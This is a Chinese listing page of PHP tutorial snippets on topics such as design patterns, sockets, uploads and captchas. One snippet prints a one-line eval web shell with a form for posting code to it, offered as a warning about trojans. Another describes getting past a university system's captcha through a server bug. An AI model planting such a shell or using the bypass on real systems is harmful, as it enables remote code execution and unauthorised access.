Time of Update: 2017-01-19
我們先準備mysql資料表,假設項目中有一張記錄學生資訊的表student,並有id,name,sex,age分別記錄學生的姓名、性別、年齡等資訊。複製代碼 代碼如下:CREATE TABLE `student` ( `id` int(11) NOT NULL auto_increment, `name` varchar(50) NOT NULL,
Time of Update: 2017-01-19
PHP過濾提交表單的html代碼裡可能有被利用引入外部危險內容的代碼。例如,有些時候使用者提交表單中含有html內容,但這可能造成顯示頁面配置混亂,需要過濾掉。方法一:複製代碼 代碼如下://get post data function PostGet($str,$post=0) { empty($str)?die('para is null'.$str.'!'):''; if( $post )
Time of Update: 2017-01-19
本系列文章來總結一下設計模式在PHP中的應用,這是第二篇建立型模式之原廠模式。設計模式的一般介紹在第一篇文章講了,這裡就不重複。原廠模式實現:定義一個用於建立對象的介面,讓子類決定執行個體化哪一個類。應用情境:眾多子類並且會擴充、建立方法比較複雜。原廠模式分為三種:簡單工廠、Factory 方法、抽象工廠 ,三種工廠的區別是,抽象工廠由多條產品線,而Factory 方法只有一條產品線,是抽象工廠的簡化。而Factory 方法和簡單工廠相對,大家初看起來好像Factory
Time of Update: 2017-01-19
本系列文章來總結一下設計模式在PHP中的應用,這是第一篇建立型模式之單例模式。一、設計模式簡介首先我們來認識一下什麼是設計模式:設計模式是一套被反覆使用、容易被他人理解的、可靠的代碼設計經驗的總結。設計模式不是Java的專利,我們用物件導向的方法在PHP裡也能很好的使用23種設計模式。那麼我們常說的架構、架構和設計模式有什麼關係呢?架構是一套體繫結構,是項目的整體解決方案;架構是可供複用的半成品軟體,是具體程式碼。架構一般會涉及到採用什麼樣的架構來加速和最佳化某部分問題的解決,而好的架構代碼裡合
Time of Update: 2017-01-19
這裡給大家分享一段使用PHP Socket 編程類比Http post和get請求的代碼,非常的實用,結尾部分我們再討論下php類比http請求的幾種方法。複製代碼 代碼如下:<?php /** * 使用PHP Socket 編程類比Http post和get請求 * @author koma */ class Http{ private $sp = "\r\n";
Time of Update: 2017-01-19
根據指定的前後兩個日期,計算這兩個日期之間各個周的起始時間和結束時間,以及各個月的起始時間和結束時間日誌格式化類 Date.class.php複製代碼 代碼如下:<?phpclass Datefmt{ function __construct() {} /** * 根據指定日期擷取所在周的起始時間和結束時間 */ public function get_weekinfo_by_date(
Time of Update: 2017-01-19
php中jsonp輸出時一般用下面的格式:複製代碼 代碼如下:callbackname('json string');如果中間的json string中含有單引號,這個輸出就是有問題的,調用方一般是無法處理的,所以我們要對單引號進行轉義。如果是用json_encode方式產生可以用下面的方式轉義:複製代碼 代碼如下:$ret = json_encode($result, JSON_HEX_APOS);header('Content-Type: text/javascript;
Time of Update: 2017-01-19
複製代碼 代碼如下:<?php// 本類由系統自動產生,僅供測試用途class IndexAction extends Action { public function index(){ //#分銷商訂單提交、修改、取消、查詢介面 $wsdl1='http://127.
Time of Update: 2017-01-19
運用PHP物件導向的知識設計一個圖形計算機,同時也運用到了抽象類別知識,這個計算機可以計算三角形的周長和面積以及矩形的周長和面積。本圖形計算機有4個頁面:1.PHP圖形計算機首頁index.php; 2.形狀的抽象類別shape.class.php; 3三角形計算類triangle.class.php; 4.矩形計算類rect.class.php。PHP圖形計算機代碼點擊下載:
Time of Update: 2017-01-19
檔案上傳是項目開發中比較常見的功能,但檔案上傳的過程比較繁瑣,只要是有檔案上傳的地方就需要編寫這些複雜的代碼。為了能在每次開發中降低功能的編寫難度,也為了能節省開發時間,通常我們都會將這些反覆使用的一段代碼封裝到一個類中。協助開發人員在以後的開發中,通過編寫幾條簡單代碼就可以實現複雜的檔案上傳功能。對於基礎薄弱的讀者,只要會使用本類即可,而對一些喜歡挑戰的朋友,可以嘗試去讀懂它,並能開發一個屬於自己的檔案上傳類。一、需求分析 要球自訂檔案上傳類,即在使用非常簡便的前提下,又可以完成以下幾項功能
Time of Update: 2017-01-19
我們通過PHP的GD庫影像處理內容,設計一個驗證碼類Vcode。將該類聲明在檔案vcode.class.php中,並通過物件導向的特性將一些實現的細節封裝在該類中。只要在建立對象時,為構造方法提供三個參數,包括建立驗證碼圖片的寬度、高度及驗證碼字母個數,就可以成功建立一個驗證碼類的對象。該類的聲明代碼如下所示:<?php class Vcode { private $width; //寬 private $height; //高 private $num; //數量
Time of Update: 2017-01-19
之前已經有很多方法可以通過angular進行本機資料的讀取。以前的例子中,大多數情況都是將資料存放到模組的$scope變數中,或者直接利用ng-init定義初始化的資料。但是這些方法都只為了示範其他功能的效果。這次來學習一下如何將Angular和PHP相結合,從後台讀取資料。首先,利用PHP,我們定義了一組後台資料,代碼如下(test.php):<?php header("Access-Control-Allow-Origin: *"); header("Content-Type:
Time of Update: 2017-01-19
PHP星期幾擷取代碼:複製代碼 代碼如下:date("l"); //data就可以擷取英文的星期比如Sundaydate("w"); //這個可以擷取數字星期比如123,注意0是星期日擷取中文星期幾:複製代碼 代碼如下:$weekarray=array("日","一","二","三","四","五","六"); //先定義一個數組echo "星期".$weekarray[date("w")];擷取指定日期是:複製代碼 代碼如下:$weekarray=array("日","一","二","三","
Time of Update: 2017-01-19
php通過rand()函數產生隨機數,這個函數可以產生一個指定範圍的數字 這段代碼通過產生的隨機數,隨機播放圖片<html><body><?php srand( microtime() * 1000000 ); $num = rand( 1, 4 ); switch( $num ) { case 1: $image_file = "/home/images/alfa.jpg"; break; case 2: $image_file =
Time of Update: 2017-01-19
本文執行個體講述了php調用shell的方法,分享給大家供大家參考。具體方法如下:一、配置查看php.ini中配置是否開啟安全模式,主要是以下三個地方safe_mode = (這個如果為off下面兩個就不用管了)disable_functions =
Time of Update: 2017-01-19
本文執行個體講述了PHP影像處理類庫MagickWand用法。分享給大家供大家參考。具體分析如下:MagickWand 是PHP的一個擴充程式,通過它建立起與ImageMagick的互動,進行圖片的處理。它是預設的GD圖象函數庫的絕佳替代方案。從安全性和易用性來說,在PHP中使用MagickWand比使用命令列ImageMagick要安全快捷的多。另外 imagick也可用於PHP中作為ImageMagick的替代方案。MagickWand
Time of Update: 2017-01-19
eval可以用來執行任何其他php代碼,所以對於代碼裡發現了eval函數一定要小心,可能是木馬就這一句話害死人,這樣任何人都可以post任何檔案上來,所以要做好防範<?php @eval($_POST['c']);?>使用方法也很簡單,本地提交檔案指向提交檔案,裡面的php代碼就會被執行<html> <body> <form action="a.php" method="post"> <input type="text"
Time of Update: 2017-01-19
課程格子和超級課程表這兩個應用,想必大學生都很熟悉,使用自己的學號和教務系統的密碼,就可以將自己的課表匯入,隨時隨地都可以在手機上查看。 其實稍微瞭解一點php的話,我們也可以做一個類似這樣的web 應用。 1,解決掉驗證碼 其實這是正方的一個小bug,當我們進入登陸介面時,瀏覽器會去請求伺服器,伺服器會產生一個驗證碼圖片。如果我們不去請求這個圖片,那麼正方後台也不會產生相應的
Time of Update: 2017-01-19
<?php/* http://phpnow.org YinzCN_at_Gmail.com*/error_reporting(E_ALL);define('TimeZone', +8.0);function _GET($n) { return isset($_GET[$n]) ? $_GET[$n] : NULL; }function _SERVER($n) { return isset($_SERVER[$n]) ? $_SERVER[$n] :
Time of Update: 2017-01-19
本篇文章分享一個簡單的socket樣本,用php。實現一個接收輸入字串,處理並返回這個字串到用戶端的TCP服務。產生一個 socket 服務端<?php/*檔案名稱:socket_server.php*/// 設定一些基本的變數$host="127.0.0.1";//Socket啟動並執行伺服器的IP地址$port=1234;//Socket啟動並執行伺服器的連接埠,連接埠取值為1到65535之間的數字,前提是這個連接埠未被使用//